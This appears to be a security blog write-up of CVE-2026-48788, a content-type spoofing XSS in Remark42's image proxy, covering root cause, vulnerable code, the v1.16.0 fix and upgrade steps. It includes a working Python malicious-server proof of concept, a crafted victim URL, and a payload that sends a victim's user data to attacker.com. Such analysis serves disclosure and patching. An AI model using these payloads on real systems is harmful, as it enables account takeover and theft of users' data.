Listen to this Post
How CVE-2026-48788 Works
The Remark42 image proxy fetches an arbitrary remote URL and re-serves the response from Remark42’s own origin. The vulnerability stems from an inconsistency between the download and serve paths:
The Download Path (`/api/v1/img`)
In backend/app/rest/proxy/image.go, the `downloadImage()` function (lines 189-206) determines whether a fetched resource is an image by inspecting only the `Content-Type` header that the remote server claims. It never examines the actual bytes of the response body. The function reads the body into `imgData` and returns it as-is without any validation.
The Serve Path
In backend/app/rest/proxy/image.go, the `Handler()` function (line 131) sets the response `Content-Type` by calling p.ImageService.ImgContentType(img). The `ImgContentType()` function in `backend/app/store/image/image.go` (lines 242-249) uses Go’s `http.DetectContentType` to sniff the actual bytes of the image data. If the bytes resemble HTML, it returns text/html.
The Exploit
An attacker hosts a URL that sets `Content-Type: image/png` in its HTTP response header but returns an HTML/JavaScript body. The download check sees `image/png` and accepts it. The serve path sniffs the body and emits Content-Type: text/html. The browser then renders the attacker-controlled HTML/JavaScript as a document within Remark42’s origin.
The Impact
The injected script can issue authenticated, same-origin API calls with credentials: 'include'—the JWT cookie is sent automatically. The script can read the `XSRF-TOKEN` cookie and re-send it as the `X-XSRF-TOKEN` header, defeating CSRF protection. The attacker can then act as the victim: delete or edit their comments, change settings, and—if the victim is an admin—perform admin actions. Triggering the attack requires no Remark42 account on the target instance.
The fix was released in v1.16.0.
DailyCVE Form:
Platform: Remark42
Version: 1.6.0 through 1.15.0
Vulnerability: XSS via Content-Type Spoofing
Severity: Critical (CVSS 8.2)
date: 2026-06-17
Prediction: Already Patched (v1.16.0)
What Undercode Say:
Analytics – Vulnerability Analysis
The root cause is the discrepancy between download validation (header-based) and serve-time content-type determination (byte-sniffing). The proxy accepts any resource with an `image/` Content-Type header but serves whatever `http.DetectContentType` returns. This creates a classic MIME confusion vulnerability.
Affected Code Paths:
Download validation (flawed) backend/app/rest/proxy/image.go — downloadImage(), lines 189-206 Serve-time Content-Type (sniffed) backend/app/rest/proxy/image.go — Handler(), line 131 backend/app/store/image/image.go — ImgContentType(), lines 242-249
Vulnerable Logic Snippet:
// downloadImage() - only checks header
contentType := resp.Header.Get("Content-Type")
if !strings.HasPrefix(contentType, "image/") {
return nil, fmt.Errorf("invalid content type %s", contentType)
}
// ... reads body without validation
return imgData, nil // bytes never validated
// ImgContentType() - sniffs bytes
contentType := http.DetectContentType(img)
return contentType // returns text/html for HTML body
Exploit:
PoC – Malicious Server (Python):
!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
class MaliciousHandler(BaseHTTPRequestHandler):
def do_GET(self):
body = b'<!DOCTYPE html><script>alert("XSS")</script>'
self.send_response(200)
self.send_header("Content-Type", "image/png") Spoofed header
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body) Actual body is HTML/JS
HTTPServer(("0.0.0.0", 8080), MaliciousHandler).serve_forever()
Victim URL:
https://<remark42-host>/api/v1/img?src=<base64(attacker-host)>
Example:
If attacker server runs at http://attacker.com:8080/poc Base64 encode: aHR0cDovL2F0dGFja2VyLmNvbTo4MDgwL3BvYw== Victim opens: https://remark42.example.com/api/v1/img?src=aHR0cDovL2F0dGFja2VyLmNvbTo4MDgwL3BvYw==
Advanced Payload (Cookie Exfiltration):
<!DOCTYPE html>
<script>
fetch('/api/v1/user', { credentials: 'include' })
.then(r => r.json())
.then(data => fetch('https://attacker.com/log?data=' + encodeURIComponent(JSON.stringify(data))));
</script>
Protection:
Fix Implemented in v1.16.0:
- Strict Content-Type Validation – `rest.SafeImgContentType` validates sniffed body bytes against a strict allowlist:
image/png,image/jpeg,image/gif,image/webp,image/bmp,image/x-icon. Non-image content returns `415` with no body echo. SVG is implicitly excluded.
2. Content-Security-Policy – Every response carries:
Content-Security-Policy: default-src 'none'; sandbox; frame-ancestors 'none'
3. Additional Headers – `X-Content-Type-Options: nosniff` and `Content-Disposition: inline; filename=”image”`
4. ETag Bump – ETag changed to "v2:<base64(src)>". Browsers that revalidate cached pre-fix responses get a fresh validated `200` instead of a `304` against the poisoned cached entry.
5. CSP Applied Globally – The strict `default-src ‘none’; sandbox` CSP also applies to all `/api/v1/` routes as defense-in-depth.
Post-Deployment Actions:
Purge CDN/edge cache for /api/v1/img curl -X PURGE https://your-cdn.com/api/v1/img
Upgrade Command:
Docker docker pull umputun/remark42:v1.16.0 Binary wget https://github.com/umputun/remark42/releases/download/v1.16.0/remark42-linux-amd64
Impact:
- Confidentiality – Attacker can read victim’s comments, settings, and personal data via same-origin API calls
- Integrity – Attacker can delete or edit victim’s comments, change settings, and perform actions as the victim
- Availability – Admin-level access allows site-wide disruption if victim is an administrator
- Authentication Bypass – CSRF protection defeated via `XSRF-TOKEN` cookie theft
- No Account Required – Attack requires no Remark42 account on the target instance
- Residual Exposure – Browser-local caches holding pre-fix `text/html` responses with `Cache-Control: max-age=2592000` continue serving from local cache until TTL expires or cache is evicted
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

